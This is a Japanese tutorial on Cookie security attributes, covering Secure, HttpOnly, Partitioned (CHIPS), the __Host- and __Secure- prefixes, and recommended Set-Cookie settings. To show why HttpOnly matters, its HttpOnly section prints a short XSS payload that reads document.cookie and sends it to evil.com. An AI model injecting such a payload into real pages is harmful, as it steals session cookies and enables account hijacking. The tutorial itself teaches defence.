#はじめに

「Cookieが盗まれてセッションハイジャックされた」——このような攻撃は、適切なセキュリティ属性を設定することで防げます。

前回学んだSameSite属性はCSRF対策に有効でしたが、Cookieにはほかにも重要なセキュリティ属性があります。Secure、HttpOnly、そして比較的新しいPartitioned属性です。

この記事を読むと、以下のことができるようになります:

  • 各セキュリティ属性の役割と効果を理解できる
  • どのような場面でどの属性を設定すべきかがわかる
  • セキュアなCookie設定のベストプラクティスを実践できる

#Secure属性

Secure属性は、CookieをHTTPS通信でのみ送信するよう制限します。

Set-Cookie: session_id=abc123; Secure

#なぜ必要か

HTTP(暗号化なし)で通信すると、Cookieの内容が盗聴される可能性があります。

[ブラウザ] ----Cookie: session_id=abc123----> [サーバー]

           [攻撃者が傍受]
           セッションIDを盗む!

Secure属性を付けると、HTTPS通信でのみCookieが送信されるため、盗聴を防げます。

#動作

通信Secure属性なしSecure属性あり
HTTPS送信される ✅送信される ✅
HTTP送信される ⚠️送信されない ✅

#設定すべき場面

セッションIDや認証トークンを含むCookieには必ずSecure属性を付けてください。

# ✅ 推奨
Set-Cookie: session_id=abc123; Secure; HttpOnly; SameSite=Lax

# ⚠️ 危険
Set-Cookie: session_id=abc123

#注意点

  • ローカル開発環境(localhost)ではSecure属性付きのCookieでも例外的に動作します
  • 本番環境では必ずHTTPSを使用してください

#HttpOnly属性

HttpOnly属性は、CookieへのJavaScriptからのアクセスを禁止します。

Set-Cookie: session_id=abc123; HttpOnly

#なぜ必要か

XSS(クロスサイトスクリプティング)攻撃では、悪意のあるJavaScriptが実行され、Cookieを盗むことができます。

// XSS攻撃のペイロード例
const stolen = document.cookie;
fetch('https://evil.com/steal?cookie=' + stolen);

HttpOnly属性があれば、document.cookieでCookieを読み取れないため、この攻撃を防げます。

#動作

アクセス方法HttpOnlyなしHttpOnlyあり
HTTPリクエスト送信される ✅送信される ✅
document.cookie読み取れる ⚠️読み取れない ✅

#設定すべき場面

セッションIDや認証トークンには必ずHttpOnly属性を付けてください。

# ✅ 推奨: セッションID
Set-Cookie: session_id=abc123; HttpOnly; Secure; SameSite=Lax

# ✅ OK: テーマ設定(JavaScriptで読み取る必要がある)
Set-Cookie: theme=dark

ユーザー設定などJavaScriptから読み取る必要があるCookieには、HttpOnlyを付けないこともあります。ただし、機密情報は含めないでください。

#DevToolsでの確認

ApplicationタブのCookies一覧で、「HttpOnly」列にチェックマークが付いているかを確認できます。

また、Consoleで以下を実行すると、HttpOnly属性のCookieが表示されないことを確認できます:

console.log(document.cookie);
// HttpOnly属性のCookieは含まれない

#Partitioned属性(CHIPS)

Partitioned属性は、サードパーティCookieを「トップレベルサイトごとに分離」します。

Set-Cookie: widget_session=xyz; Secure; SameSite=None; Partitioned

#背景: サードパーティCookieの問題

従来のサードパーティCookieは、どのサイトから読み込まれても同じ値が送信されていました。

[site-a.com]  → 埋め込み: widget.com → Cookie: user=123
[site-b.com]  → 埋め込み: widget.com → Cookie: user=123(同じ!)

これにより、widget.comはユーザーを複数サイトにわたって追跡できます。プライバシーの観点から問題視され、ブラウザはサードパーティCookieを制限する方向に進んでいます。

#CHIPSとは

CHIPS(Cookies Having Independent Partitioned State)は、サードパーティCookieを「トップレベルサイトごとに分割」する仕組みです。

[site-a.com]  → widget.com → Cookie: session=abc(site-a用)
[site-b.com]  → widget.com → Cookie: session=xyz(site-b用、別の値)

同じwidget.comのCookieでも、site-a.comから読み込まれたときとsite-b.comから読み込まれたときで、別々のCookieとして扱われます。

#動作

Partitioned属性を付けたCookieは、以下のように分離されます:

トップレベルサイトCookie値
site-a.comsession=abc
site-b.comsession=xyz
site-c.comsession=def

#使用要件

Partitioned属性を使うには、以下の条件が必要です:

  1. Secure属性が必須
  2. SameSite=Noneであること
  3. __Host-プレフィックスの使用が推奨
Set-Cookie: __Host-session=abc123; Secure; SameSite=None; Partitioned; Path=/

#適した用途

  • 埋め込みウィジェット(コメント、チャット)
  • サードパーティの決済フォーム
  • 複数サイトに埋め込まれるSaaS

クロスサイト追跡は防ぎつつ、正当なサードパーティ機能を維持できます。

#Cookieプレフィックス

Cookie名に特定のプレフィックスを付けることで、追加のセキュリティ制約を強制できます。

#__Secure-プレフィックス

Secure属性が必須になります。

Set-Cookie: __Secure-session=abc123; Secure; Path=/

Secure属性なしで設定しようとすると、ブラウザは拒否します。

#__Host-プレフィックス

より厳格な制約が適用されます:

  • Secure属性が必須
  • Path=/が必須
  • Domain属性を指定できない
# ✅ OK
Set-Cookie: __Host-session=abc123; Secure; Path=/

# ❌ 拒否される(Domain指定あり)
Set-Cookie: __Host-session=abc123; Secure; Path=/; Domain=example.com

__Host-プレフィックスにより、Cookieがそのホスト専用であることが保証されます。

#ベストプラクティス

#セッションCookieの推奨設定

Set-Cookie: __Host-session_id=abc123; Secure; HttpOnly; SameSite=Lax; Path=/
属性効果
__Host-ホスト固有、Secure/Path=/を強制
SecureHTTPS通信のみ
HttpOnlyJavaScriptからアクセス不可
SameSite=LaxCSRF対策
Path=/サイト全体で有効

#サードパーティCookieの推奨設定

Set-Cookie: __Host-widget=xyz; Secure; HttpOnly; SameSite=None; Partitioned; Path=/

#設定チェックリスト

  1. 認証系Cookie

    • ✅ Secure
    • ✅ HttpOnly
    • ✅ SameSite=Strict または Lax
    • __Host-プレフィックス推奨
  2. ユーザー設定Cookie(JSから読み取り)

    • ✅ Secure
    • ❌ HttpOnly(JSで読み取るため不要)
    • ✅ SameSite=Lax
  3. サードパーティCookie

    • ✅ Secure
    • ✅ HttpOnly
    • ✅ SameSite=None
    • ✅ Partitioned

#まとめ

  • Secure: HTTPSでのみ送信、盗聴を防止
  • HttpOnly: JavaScriptからアクセス不可、XSSによる盗難を防止
  • Partitioned: サードパーティCookieをサイトごとに分離
  • __Host-プレフィックス: 厳格なセキュリティ制約を強制
  • 認証Cookieには必ず Secure + HttpOnly + SameSite を設定

#次のステップ

Cookieのセキュリティ属性を理解したところで、次はセッション管理の仕組みについて学びましょう。Cookieを使ったセッション管理の実装方法や、セッション固定攻撃などの脅威と対策を理解できます。

#参考リンク